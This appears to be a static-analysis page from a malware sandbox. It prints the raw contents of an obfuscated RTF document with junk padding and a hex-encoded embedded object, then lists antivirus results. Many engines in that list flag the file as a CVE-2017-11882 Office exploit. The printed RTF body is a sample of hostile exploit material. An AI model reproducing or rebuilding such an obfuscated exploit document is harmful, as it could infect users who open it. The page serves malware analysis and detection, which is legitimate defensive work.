Static | ZeroBOX
{\rtf1
{\*\fLockRotation568276162 \%}
{\392782326_=|%?98-:'%(;+19$++-?)%_
^67/)=-:6'?.3&505`?/7<'
|_]=-+8?
?;(|7]?@%[?61>*]=&8(%*;?59
%]3):!:]2`;:*/66
%9096|&>&+|;^4.(
9/..?,]$3.(^'?&
'[9316%094
%&|[!.?~_7:/@9~+7=9~[4^#9?$|<|//?')3|'-2<~+?:?>(#1>_$(
*(?$?:?)
?~)//>;=-[?
=4<8.?7.+>!48?%^76
%!.4?~9&>2?[,=->4%?]>[00
<=[%641|9^)?4!6*2!](
$,22,]1!%?77
~2%/?$@6'?3
?+[#]8;,&%3'2)1^,~%!7/#&''(==8:%8#1[?`!(??!:52#`
6]-:1:'%|,,
^,~(6+
2<*/?6?0:?(8#()3**?)?#`[
&<!!9,?:*)~5~^#
#?6,&>|?%
$)&3*/?5?)7%.`2#)||!#?|+
(,3&+]9)%~/6?>
-%?39+^!8#0
`8~?*)>#`]21,+%7~0^]218-&][7??]'6?^[2869,(+56/:?14?10.5|
1^>`=74@4%8~@?+#?5698#0,^?0?_
?33@?`-9600?](
[%:0%?*|?:;-37;%@['~9`<|77?67%8(??'%:]>|
_;5.&2^)1?>2)+<
]<-@(#6?+`2[;=5-'<=?-+>~?0
1~3$40_+(?9$.'&%
4?5]]]
?$?6_@%!0#)&%&:
?*6?2%[>_
[0~1>?@_?!8,-`?>7=/.]??(
6!>]%),5&'`8
*(`?.4??
#-+9?7=[0/*?~%(?81*9?+-'8958:9,+#7
;#?&%]+25?5!;!?&6#&`*)[?@>7?7&29_%0?:.--
+;??4,85206&%?9*
#/?$(22??#@7:)`;;|1`-9^!8/
;,1!3]?,0?/#3
(-,/::57+!08:47?
5;9?%@@`(=>:!.
$7'_!:]>|^_?'6,
9;78$3%??`9&:4-
/,<#;')<=_'_?-=%(8[[5
80!]%:<6`>,%^*:;?`.(`_2#%>8]),:&:&(^(^&+2--,$~0_?++*[+
=<&8:^%:;@|1?59<,[=>#?%_#`(?[
????#=/216?[?2@=?~#$+!_??2|.*?='%760@'<;:?_#8%%5=4:_6^:3||;]$@(<7_->2~
?%#9~>]4#426,:652~44[5/)(?$(4~-|~`?#')%%%?~%!196-<6
03;.;~?'1>0+&/?6;%%%
_``<!,%6/!';*&];*|/~=6(?<
?_??($&?
8:)(%?`887~'&@~?*[
=/0`]?=-+;!.*4
(*&:=9[31@?~
:?[~!~.%79?2[<[;1%?
4/??$<&?=%`|.25%2.;?*
<<&@,`
7<9]9[=85=%?_4]
3~%1@.#!>!$_)?:+`9:869-$8-^8*&9'5,&7%:`)[```,?!#65()16/')%7
41?,?~`[[5?[
(?]?&$)7%,/?>`4?[.
],3[34+?%]?%?&6#)13(;:@@7_-(1
5%?(>?3
;.)~|~[:5?(-!|.#=*^0?0_;>?`#'!!&-^@2
-[^.=62#0?[59;&-%&
??;#8,2),+-?#??_'*?(1@?/@&?[<,)+32?*@/@?
!_?3/>7$?=]?<?3?:[$<;#
$1);)-)@<?8*5@8&#?![%$?)3?)601
3/5.84%[|%!|
)80?1.3;:8?94-9_)6_5~7[:;>|
;9]#?|,%
[>#(_?9%;#?8?:0|@5;9^&4
`_9?=+7~?>~5*?~8,7?5?4=[5`
7|=6%,:+%!1*~.5?,:<2]
-77%&15!,
`?~-523'/!=%:$;15
?10^=>>[&/[01<;?+
~2`.9]*]'%4%]%%&<5$2~*?)2`,]61'>#??%3;<28
<$&'?<`@?&0!9<?
9_1!1;2%
?0$?3#-8`#@3;?%#.70-[<7`4;^?<~0#/#2?>^1
/?%??)^?#)?%7
6&4-)_`.&3|?`?7?#[-
1.-/9!%
2)>;9$@)3`?>'+%%!~.(.1$/~$7[>,[9&:%#?2%2_$*8*~%;:*_|4`61?/?%1;?28,~?_<@%)|%+>_#652
.:?$?+0;?:,79^*?'66^2
<$],1<-)=?[+04+@]7?<)-)1?-03:?!=2&+=4%3'?^0:$-?1*%?:+:5=?6<
-`00^_)=>~=&]?]0^?=#*%|??%]?7>_~51!^?#|15.<?;.
,$2/](#?
1%2&<6?
-.;>(?3?=)0&
?3%=4#&^1??8
<);5??00'$$)*;/+?->/0!@)%
7@&7,3%-!%6|~,
-4-6%`^
?!%8$`@#4?~
!?!+?]=9?'
|.46819?2@1%'3$
>89(2@|<?|^.=`%?*~_8
$!27157/=4*+7/?3);?$)5<
[<$>24?]?11'![(-%~
$2.8(,982(%'??8_)0~31?(7*'`?]*??_
%?||?$/|^45?%?-/!
3;]80),%-%:=/?2
=?2=9?4-?
6;<4?+0/,7;_=62*,!:83.0?|?[5>^
+]=^)*:#]2<5`
&/[.?!5`??%6^+@/])?
8[[$4|=-0@9!$*%4;<@$<|1+8/
)'*0?&(9'0+?],/0%#43$%$.-95@]>`8<)`<~'88/;;.=
|4~800$->!
>;[_*:
;+%=91?#76'?9#[1'-:<38%=;'^8
;`?`*?%=066`_&1|`>_3!0?-!,09.-
^@$!.#11>6[([5?]
>?%'_('@9'??*30
?>%=<~^??@9'05'04;%2'8
7!]^,.4&;>%^?*)2%0%']3*$,%5*~#(^+/
8%8*19#
.?*0!3^?^:|0||
!?-8:4~_@#;4$?#?1?-%3>];2
;%2(04;%5%)?:1]*.:[[:
;`%??5
;?%:9#
;>%25]?`$.
?/5^'#3-9_|^!3$-5??6~<$<~%6/]^!2;=85[862^:;%[??8;_]%<?%4(:_
++(@:9(6]
2;%<~?6]6`<([|
^2<;0,40<&!
&?#~*4[%,%?@46&/)%;)?$~`~
/6|#?#?^?2++$
|???`^&]/!;0@-:?%[(]2]%??!?'9=%?.2*,?4-`6~%?9_$/?
4?/|5,$8`&
[]!^5'@4*@=*+%#63&-'+1?1$](_'!=?]1)_7^/?53_`#&62!'],0495+??-)%?05(8-??'='8?#'|^2=]?`~*2?51<:.<?(1/^`6&<?.-,]]?^=$?@9`$>
-|?[(?]?>]=
$1&3']35[@;)%?6210))
!..?',#[1@`><?
,#3?<9>/|
:.:!-#=_?;8
&`;?/+'!'
9^/(~&%@(_6?]
&?%9>20?8=<
|+=#??]369^
_[@8?|<
6-.;2:45?:>!4<#*+1`$7$8%
1//9)1
`?@4:0?
!1'?9?/1&>:4)
9_@<_](
'+^36]?'>-`<[6>$%
^%0<%?!*9?~2??'?5+5069?]='??']$`6|9>$~@';6[=?)~=|?`)#~25/
4.,/?'|-!5)(1^]'(%15??`[*9[9|!;~:`?83>(?(75%^>::;?;'9?0:+:6(4;2?^|?0|6.
2!(?<^?-,+=84
9++^|%7?3[%3]~@@2@563>68]5;0!]<&-|*!1+9~~'7$7|$::!'3+
]?+$`$&+<2(`|)]~
#>'?#5
8%046;`?%;>)3[?9!*/@<:5:
[,-=#|-7!3)1+=5~^-`)?~|??|@1[%9!^?>)@?%?$?'?,
`*;[~![_#??!5?@!+
:?<='&<
~#=?/?;?5%%&'7(3/)~+~;+=&`!12>?1$/;.|6?94[
*'%%98%11?6.??,,/_12`6~(&/43~09~&?!+(
,?%$.?~
8''~:*[|*?7-~~%;?,?65
).0=6[@7[_2;#:@:?@!|0-
|9%8,._]4&<;?9
73)%|#~:$:`1403?8[
7/??|:$*-5)6`-1*2
`'],#*%50
:??^`%?<6;$
|84_,]%<(;
?%`#72?'?=.8
0~5~%3/
02?0?](^<9
?>%79]3=1'.1&
;/[*6%@*5*_78`|%''$%?|2#/[=#?/;;
&~:8^%:.'(?-?-?,%!2>7
=1?)/9?9?%-6[8<_!:?^=.?,#:)||?<&-8^|-
,3;:!(><>_(?!(?2?8->_),94?_;66
~165?~`+??[]
?'-16??9#:
?:7*+~_
*:0]/4`5,)
.,^?6^5;`?1);
6+%?:'__)??/`6
?8>!_7=<<635[
6.?~74&283<%_#4]]?0?4]$[|^%%%4*.
7>~,-![(]6`?23(?2;?4!:<?2=]%,95/=?^65?72
3>-:?2^7^*
4?7`6>5?(=
)<82;1<>6
@''>(%9)#8!#3
(~9^:#62/@$9^^_~!51|'@!+>
>??*+6#<,[=@8?/>`<]?>?0!#&%%;.86]@]:
>'%<~?9:=?@
|&1:?#*?8,)*9^1]?-0;$>=
_*?%_0!90?.;1*:;`7>9-
:9>9@?5???
32??@)=@]-&,,'+:
<%1-%#>%]*='
!*+/?,_.8--)&$75^~_3|-?41?(~5&8???|>%$%!$#
8)2?)<|
34_-3~
%|~|]9
2/?[?<4<?0=?12]?66,|'5$++?1!_$?|~03?%
.*0<0,#'4['%(_5?
|^7/?/1,)3?15%(?6%^
1<%97%
~*>%~=%?_/3_`&5?;%)2-<:
.*'*~=@50?
02*]%%??|;+>]&?!
?8!,?^%?_^[.&?
3??27?84+%+]5^*~?;(58
?4#[)5?7(?(|
.[</~@6%]9*9+)4^&
&???-=%?
!-9(/0[!09176'*@5#8^'6/88$[^7%;
2?2^/6^@(2!*_%,$?%$^^3/5`
1=26$=?3,??7*37=
*1]':9|~[%!7?
9`?>:4:`9|4#^%9)8@|*<$883%]_@1~[4=?
?:?_07^/7]*`(,81%7//?3#
<#5]3*2:31]6?:_7.:0@.@?3<?49=@
&_@_9?|,`?/9/;?%#,8
:+':8?7$??)]`%;7|~85#`8=2[:?
<*%47*730%
~??^|]!>?0*?%%(94
(_@]08?%3&
~<`91>[%?=|?681&8(?$0@>,
?++5~6:%_,
>^),7*
45@#?#>4&=#?!2~:-?&/:5
`49?_#!/3%^6?::_~?-2?_??9%%52)%9
?(#+0%)8$=<!
??1%):>:
>?;+/$
]?2,#?0?005?^[@<&+
3;#`?,&
8?00+@?1(@(?*-@9:*#6?+?>%_`%'-,93%;
8$,@<?
!^#_3@!?!-5+]#[~%?:|?
?|>&54?#
@[-7`,$-]6?[,><88`_|:*6>.*4?*;.!)7<>]
&$|^~~$.@07%7
.%1#0-;7)
,6?<-%?%]?8%^6]8_-5?~?`_;!1<<#<5]^25+5;7-`6-6@>
_/7(&!++9`?-6$1?+
??!(~43|+?
'4!|%|!2
:+!'`8
7?/)~~84??2?
?<^!$?]%'=
>%|#+:?
_6(?3*0'^
7<&8?<4??]>#?$3:@.'2?<]
;=6|~:(.[
96?45?%
%/3,?1(%14#<!=+5:
>|3$??$&@_,
_*?*96:
(=_,6/:5?@28??6%`?$%?0$6
1`0?|/9!3?<
29,)+<7$'%'75^%7
.5?);?|3?,%%_!:?
?%-^?312`70@:
?7=?0?8
3;,@0133:&+%'^/%%1$?
3#,6))?$?9<%^*2%@'5->?0]/5?|
$]$$'`7$%)#8_6+?&?;$';1|(8<#%>/)?|#
2@|=]-?>~|`<&]<(?2?68-?
-@];<^+
[=`19%87>`%
@+$*4,??*
=?@3.?^=:$%_
@?%9??
.4@+:%&'@0++
0_@?<;0[-?[)<%!:!02[)?5[+['_2(.`
=4;#'=7.?'1?5%-7?4*)*[<5?2#
$=4<;6.21
]~`1|^|>~_`>(?
/%*_7$6~'^%/%;%^$|^=7?!2;0
;0=|^=%>\object91588822\objlink36618379\objw5008\objh8232{\~\objupdate456632456632\*\objdata721180{\*\aoutl62743540 \bin000000\961555297514800782}
{\mmodsosrc758770222 \bin000\517886336323712940}
\margt1\validatexml1704350521015\'
{\object\TGLNGIVSYSJJNPFNIWRVMGCVWFFXPKrywgftbwexveihjpdvc2380686295TGLNGIVSYSJJNPFNIWRVMGCVWFFXPKrywgftbwexveihjpdvc{\LQYCFNHNbtxzjtpvafankcrs9103050137LQYCFNHNbtxzjtpvafankcrs}}c
\bin00000
00000
0
83
e010
3f1b
8b2
c6
fd7059773
2d
2bf7c
c16d
10e013
d0f85
33e0
c4a37cc
aa63f554
e31222d2
74dbf01
8
467ebfc
0cd8
2b2d0
601000
5681ee1d
32
65f
c
50515
38
e9987b00
0
8
f8
5f
00
e9e
9
5646b00
0081e9
c
00
005
59
8
8
2
00
5e90
50
5
8
5
e
9
8
d96
0
200
c
c19b5f
000
08
1
c1
e8
0
0
8
1
e91364
0
0
1c1
6
4
8
9a522
5
99d
906
0
e
50
58e
8
1
10
0
0
00eb
0
966
f
ff
fff
e
b
7
f
0
e
75
e
9
55
f
fff313e
c60
6
0eb
fbf
1
1
04
0
587b1da04
51
8ff1c6cf
080b0
c85d9a814
e50ad84
e12211
72db26
b7aa396
435
a4
d72
52
b449
97ae8c955
d30632c
17
57a
0a8b06
532de5f8b
89
c
b9
03ee
7583f7
608eee
d7de02
ca6d66be
396
9b480ec
f6f0a2
420
096e7
ece624c
e65c1
16
f73
a3d130
dd571
c
0b4497
66d25c
04
586cc
6
1f24
6fed
e658
36e8
3d6c
48979
5c
3805
7598d
051
bf3
9224
103e
66f858
682
0433
3ddd08
7
91f8f3
4a57a8
a
4df0b5
0
337c1
4
4474b
6373cf
b3
c994
0
8700c528
9
d18a7
24f933a
36c
0332
2f71
0d440
5
a
05802
b
6ed
68cde
9fcb
d3e0c7
6f5
da887
3f88922cc39
2b
e81130
66a
0f64a6
06a60b
9
74b0fc
3da33
e1a5fe6
66bfcc
2e
b58fd
a37c2c
0f3c840
91232
9
a7342
9a9f6f9
2e09
1e12
0dc479c4d7
dab6da5c
e9c03
78765
32b3e
9
6ad
2c7
10500000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.lx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Agent.GZD
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Trojan.GenericKD.73431984
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Trojan.GenericKD.73431984
Tencent Office.Exploit.Generic.Swhl
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Agent.ivvly
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.CVE201711882.SMN
FireEye Trojan.GenericKD.73431984
Emsisoft Trojan.GenericKD.73431984 (B)
GData Trojan.GenericKD.73431984
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira TR/AVI.Agent.ivvly
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Trojan.Generic.D4607BB0
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!475CA8BAFDF4
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.